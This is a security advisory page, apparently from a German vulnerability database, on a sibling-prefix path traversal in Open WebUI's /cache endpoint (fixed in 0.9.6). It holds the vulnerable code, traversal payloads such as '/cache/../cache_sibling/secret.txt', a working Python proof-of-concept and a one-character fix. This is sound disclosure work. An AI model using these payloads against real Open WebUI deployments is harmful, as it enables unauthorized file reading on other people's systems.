Mittel

Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}

  • Veröffentlicht: 17.06.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

Constraint Detail
Auth required get_verified_user — any user with role user or admin
Scope Only sibling directories starting with cache (e.g. cache_backup, cached_models)
Deep traversal Blocked — ../../etc/passwd correctly fails the startswith check
Absolute paths Blocked — /etc/passwd correctly fails
Client normalization httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: serve_cache_file()

python
# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

python
CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

Component Detail
open-webui 0.9.5 (pip installed)
Python 3.11
Import from open_webui.main import app (true import, real FastAPI app)
Method Raw ASGI request (bypasses httpx client-side .. normalization)

poc.py

python
import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />

Suggested Fix

python
if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) open-webui < 0.9.6 0.9.6

Verweise

CVSS-Wert 4.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-22
Plattform
Python (PyPI)
Paket
open-webui
Veröffentlicht
17.06.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2736 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-j2c8-v969-8r5c - CC BY 4.0

Schwachstellenhistorie: open-webui

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (161) im Archiv
Einträge insgesamt
161
Erste → letzte
08.2024 09.2026
Ohne Fix
11
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 77
  • Mittel 75
  • Niedrig 8

Veröffentlichungen pro Jahr

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Schweregrad:
  1. Hoch · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. Hoch · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} dieser Eintrag
    Mittel · 4.3 CVE-2026-54014 < 0.9.6 0.9.6
  4. Hoch · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
Mehr anzeigen (20) 40 von 79 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.